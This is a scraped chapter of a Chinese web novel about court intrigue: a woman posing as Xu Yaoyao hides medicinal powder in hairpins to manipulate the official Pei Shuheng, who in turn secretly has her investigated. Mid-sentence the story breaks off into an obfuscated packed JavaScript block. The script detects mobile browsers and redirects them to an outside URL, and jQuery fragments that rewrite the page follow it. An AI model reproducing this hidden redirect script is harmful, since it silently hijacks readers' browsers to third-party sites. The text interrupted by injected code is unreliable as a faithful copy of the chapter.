默认冷灰
24号文字
方正启体

8. 最重要的人

作者:忘忧酚本书字数:K更新时间:
    无色无味,把他们都……


    只是还没等洛书瑶写完,就被桑榆抬手打断了。


    桑榆略带警告地捏了捏洛书瑶的脸颊:“自然,劳烦女医开药。”


    洛书瑶瞪了桑榆一眼,不满地努了努嘴,却还是老老实实拨开了医箱的暗扣,开始往外掏东西。


    这医箱构造甚为玄妙,内里设计看上去纵深,实则箱底暗藏夹层。先前由洛书瑶主动递给宋司狱查验,对方心下松懈,自然不曾察觉这层玄机。


    只见洛书瑶从夹层中取出一只簪子,样式竟和桑榆佩戴的分毫不差。


    她手脚麻利地帮桑榆带好,口中也是话语未停:“我一会帮娘子上了药,娘子可得记着我这手法,每日两次,如此上药,不然要留疤的。”


    “洛医女,徐娘子。”


    话音刚落,就听见宋筝的声音从门口遥遥传来,脚步声伴着清水晃动的声音响彻静室。


    几人一道,褪去桑榆的衣服,颇有些手忙脚乱地为她清创。


    直到此时,桑榆才知自己昨日下了怎样的狠手,整条胳膊和肩头,凡是手可以触及的地方,都是密密麻麻的血痕,后颈处也是一片青紫,触目惊心。


    约莫是已经麻木了,看着这些血痕,桑榆心里竟是毫无波澜。


    她甚至还有闲心想着,若是洛书瑶单独与她,怕是要一边上药一边挨骂了。


    幸而有宋司狱。


    也不知那裴阎王昨天有没有一道被她也抓出几道血痕。


    桑榆又坏心眼地想着,最好借着那神智不清的机会,能狠狠折磨折磨那可恶裴阎王。


    这肤悸症发作得这般剧烈,还是多亏了裴书珩。


    早晚有一日,她要尽数还给他。


    “大人。”桑榆看着从门外走进的裴书珩,弱弱地唤道,方才洛书瑶离开后被青钺带走盘问的声音还回荡在耳边。


    “大人到底以为我有什么神通,连大理寺的司狱和医女都能买通。大人就这般不信我。”


    裴书珩略带邪性地笑了笑,一撩袍子坐在榻边,语气带着几分戏谑:“那可不是大理寺的医女。何况,刚刚青钺一搜,才发觉那女医医箱箱底竟还暗藏一层夹层。”


    他慢悠悠地说着,好整以暇地等着桑榆的反应,语气透露出几分恶劣:“徐娘子不妨猜猜,这夹层里放的什么?”


    “夹层,可方才杳杳并未见到,难道是那女医藏着灵丹妙药不愿给杳杳用吗?”


    听着桑榆这答话,裴书珩忽而爽朗地笑了起来:“徐娘子怎么如此天真,这种夹层,一向是藏见不得人的秘密的。”


    “杳杳确实不知,大人不若直接告诉杳杳,莫要这般戏弄杳杳了。”桑榆脸上现出几分羞恼的神色,抓着裴书珩的袖子摇了摇。


    裴书珩脸上流露出几分和颜悦色,缓缓抚上桑榆的脸颊,温声道:“徐娘子不用知道,娘子只要知道那女医出自听风阁就足矣了。”


    他本是将听风阁几个字咬得极重,却见桑榆的眼神流露出些许茫然:“听风阁?”


    “徐娘子初到长安,许是不知。那是长安城的一家医馆,原是老板重病,家中又只留一位孤女,为了生计不得不来顶差。街坊见他们实在艰难,又因着那孤女却是耳濡目染会着几分医术,便常常照拂他们,倒是有了些名声。”


    裴书珩有些心疼地看向桑榆,手缓缓摸索着她脸颊上的肌肤,缓声道:“幸而有此医馆,否则要为徐娘子寻那女医,怕是还要好一阵。”


    “长安城的医馆?”桑榆喃喃地重复了一遍,却忽而紧紧抓住裴书珩的手,面露急切道:“大人,大人得好好查查她们,民女在,在扬州也听过,她们还颇有影响力,怎的到了长安成了这副模样。”


    “扬州?”


    “杳杳是从扬州来的。”桑榆眼里流露出些许悲伤,语气有些许哽咽。“当年杳杳的亲人意外离世后,他们就把杳杳赶了出来,还抢走了杳杳全部的金银细软。


    杳杳还是良籍,他们就想用这种方式,看杳杳饿死在外面,又活不下去投身花楼,成了贱籍,才好被他们欺辱玩乐。”


    “幸而当时,有位好心娘子救了杳杳,她说她来自听风阁,让我若是走投无路,可投身听风阁与她们一道。


    可是杳杳实在不甘心,杳杳想为自己枉死的亲人求个公道,就是这样,杳杳才坚持来到京城,幸而苍天保佑,让杳杳见到了大人。”桑榆谈至悲苦处,不由声泪俱下。


    “她们还帮了你,徐娘子忍心这么对她们吗?”


    裴书珩还是不动如山,语气多了几分玩味。


    “是那位娘子帮了杳杳,杳杳该向那位娘子报恩。若如那位娘子所言,听风阁又怎么会是长安城里一方名不见经传的药铺。而且,而且,大人。”


    桑榆猛地抓紧了裴书珩的手,一时激动试图起身,却是气力不支,在即将倒下的那刻,一只手稳稳地拖住了她,扶着她,半倚在裴书珩的身上。


    桑榆抬眼,正对上裴书珩温柔又夹杂着心疼的目光,眼泪流得更凶了:“而且,杳杳如今为大人所救,又为大人所倾倒,大人才是杳杳最重要的人。


    若是真要对上当时救杳杳的娘子,杳杳,杳杳大概只能使尽浑身解数,看杳杳此身有没有什么能换取大人饶那娘子一命,也算杳杳偿还了恩情。”


    只听裴书珩叹息了一声:“徐娘子放心,只要未曾触犯律例,本官不会与她们为难的,待那女医夹层里的药验过以后,自会放她走的。


    只是娘子在扬州时家住何处,尽可说与本官,本官派人去查,定叫那些妄图欺辱你的人死无葬身之处。”


    “大人,大人待杳杳这般好,杳杳只怕与大人惹上麻烦。”桑榆搂紧了裴书珩的腰,伏在他的怀里啜泣着。


    “本官不怕麻烦。”裴书珩轻轻拍了拍桑榆颤抖的脊背,温声道。


    “广陵城郊的望江渡,临水第三巷。”


    “本官记下了,徐娘子放心。之前因着对娘子诸多怀疑,却不想误了娘子治病的时辰,使娘子陷入如此痛苦情状,是本官对不住娘子,此事权当赔礼了。裴书珩诚恳地说着,手缓缓攀上桑榆的发顶,抽出发髻上的簪子。


    “沈太医对肤悸之症多有研究,本官已托付沈太医照着娘子簪子里的药多配几份,再为娘子打一套全新的首饰,将药粉置于首饰中,如此从前的病症便不会再犯。”


    “大人,”桑榆握住这只簪子,眼里流露出不舍,努力找着理由道,“那日在那位……那位大人面前,杳杳戴着这只簪子,若是日后,会不会惹那位大人怀疑。”


    裴书珩轻笑了一下,拍拍桑榆的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483639|201891||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    脑袋,“娘子若与本官情投意合,本官怎会让娘子只有一套首饰,娘子放心便是。”


    言罢,又温柔地扶着桑榆卧倒,帮她解去其余钗环:“娘子只管好生休养,不会有人来打扰娘子。待娘子康复,再带娘子去京城转转,娘子初到京城,应是有许多京城好风光未曾见过。”


    “好!”桑榆的眼底瞬间迸发出亮光,嘴角上扬,露出明媚的笑意,“能遇到大人,真是杳杳三生有幸。”


    合上门的瞬间,裴书珩眼里的温柔小意瞬间褪去。


    “去找沈砚之,让他验这只簪子。再传信广陵,细查徐杳杳这个人,籍贯家世,往来行踪,尤其和听风阁关联的部分,越详尽越好,若有画像,一并送回。”


    见着裴书珩身影消失在门口,桑榆脸上温顺的笑意瞬间散去,化为一抹意味不明的冷笑。


    她叩向塌边雕花缝隙处,轻轻一旋,原本浑然一体的木板应声挪开,露出里面狭小的暗格,暗格里赫然是洛书瑶带来的那只簪子。


    桑榆指尖用力,径直将那簪子从中掰断,里面盛着淡青色的细粉,桑榆抬手轻摇,任药粉轻轻沾在新换的衣料上。


    末了又将那锋利的断口在小臂内侧轻轻一划,欣赏着鲜血流下,血腥气与浅淡的药香交缠在一处,才满意地将断簪子收回暗格,推了回去。


    桑榆有些兴奋地笑了一下。


    裴大人,可准备好了吗?


    裴书珩下朝回来的时候,只见大理寺里来来往往的人都面色古怪,又竭尽全力回避着他的视线。


    裴书珩皱了皱眉,正准备唤青沐前来。却在走至书房前时,看见抱膝坐在台阶上,脑袋一点一点的徐杳杳,还有身后望天兴叹的守卫,瞬间了然。


    裴书珩压下心底的烦躁,挂起一副温柔神情,故作惊讶道:“徐娘子为何在此处?”


    却不想惊醒的桑榆一副眼泪汪汪的样子,猛地窜上来抱住了他:“大人,杳杳还以为大人不要杳杳了。”


    清淡的香气猛地侵入裴书珩的鼻间,明明是寻常草木香气,他的心却不受控制地猛地跳了几下,蔓延出细密的心悸之感。


    裴书珩努力压抑着这古怪的感觉,沉声问道:“娘子缘何如此说?”


    “大人昨日说等杳杳好了,要带杳杳上街的。杳杳今日梳妆打扮,却苦等大人不来,心中慌乱得紧,才寻到了此处。


    旁人说大人常在此处,杳杳也感受到了熟悉的气息。可杳杳又不得入内,杳杳只有这笨办法了,唯有如此,才能压制心间惊惧。”


    裴书珩勾了勾唇角,拍了拍桑榆的背,温声道:“徐娘子莫要胡思乱想,本官每隔一日要进宫奏对。原不知娘子好得这般快,本想着让娘子多休息几日,既然娘子依然康健,那便依娘子。”


    “本官素来配着这香囊,”他将桑榆轻轻推开,解下腰间的香囊,细心系在桑榆腰间,“本官不在时,便由这香囊代本官陪着娘子,可好?”


    “杳杳都听大人的。大人,大人下午真的要带杳杳出去吗?”


    裴书珩听着这轻快的声音,有些讶异地抬眼,正对上笑得明媚的桑榆,一双亮晶晶的眸子里满含着期待与孺慕,与先前惶恐啜泣的样子截然不同。


    “自然,你且听话安分些,待过了午膳,本官带你去城南走走。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)